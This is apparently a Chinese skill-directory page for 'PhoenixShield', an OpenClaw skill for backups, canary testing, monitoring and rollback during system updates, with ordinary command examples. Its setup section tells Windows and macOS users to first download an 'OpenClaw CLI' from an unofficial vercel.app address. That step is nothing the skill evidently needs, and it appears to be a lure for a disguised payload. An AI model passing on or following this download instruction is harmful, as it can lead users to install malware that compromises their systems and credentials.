凤凰盾系统自愈

5天前更新 1 00
凤凰盾系统自愈凤凰盾系统自愈
凤凰盾系统自愈

技能简介

PhoenixShield(凤凰盾)是一套面向关键系统更新的自愈保护方案,通过预检快照、灰度测试、实时监控和分层回滚机制,在更新失败时自动从备份恢复,减少服务中断时间。

能做什么

  • 执行更新前自动完成磁盘空间、进程状态、网络连通等预检
  • 创建全量/增量/配置级三类备份快照
  • 支持灰度环境先测后上,验证通过再部署生产
  • 更新后24小时内分阶段监控服务健康度
  • 故障时分层尝试软恢复、配置回滚、包降级、完整还原

使用说明

安装前提:需先安装 OpenClaw CLI(Windows/macOS 下载地址:https://openclawcli.vercel.app/),验证命令:openclawcli --version

启用技能:CLI 安装完成后,通过 SKILL.md 文件加载本技能。

快速上手:

  1. 初始化项目:
    phoenix-shield init --project myapp --backup-dir /var/backups
  2. 创建更新前快照:
    phoenix-shield snapshot --name "pre-update-$(date +%Y%m%d)"
  3. 执行带自动回滚的更新:
    phoenix-shield update --command "npm update" --health-check "curl -f http://localhost/health" --auto-rollback
  4. 启动事后监控:
    phoenix-shield monitor --duration 24h --interval 5m

常用命令:

  • 预检:phoenix-shield preflight
  • 全量备份:phoenix-shield backup --full
  • 灰度测试:phoenix-shield canary --command "apt upgrade" --test-duration 5m
  • 手动回滚:phoenix-shield rollback --to-snapshot "pre-update-20260205"
  • 模拟回滚(不执行):phoenix-shield rollback --dry-run

输入与输出

见下方输入与输出表格。

项目内容
输入更新命令、健康检查命令、备份目录路径、监控时长参数、目标服务器列表(可选)
输出预检报告、快照标识、灰度结果、部署日志、监控告警、回滚报告
适用人群运维工程师、DevOps 团队、系统管理员、SRE、生产环境维护人员
不包含无 CLI 权限的托管平台、无需备份的临时环境、已有商业灾备方案的场景

 

风险提示

  • 首次使用前务必在非生产环境验证快照恢复流程
  • 备份目录需保证足够磁盘空间,避免快照创建失败
  • 健康检查命令需提前测试返回值,防止误判
  • 多服务器批量更新建议设置 batch-size 为1,逐台确认
  • 紧急模式仅保留最小服务,需人工介入完成后续修复

来源信息

原始链接:https://github.com/openclaw/skills/tree/main/skills/stveenli/shieldphenix/SKILL.md
来源类型:GitHub 仓库

数据统计

相关导航

暂无评论

none
暂无评论...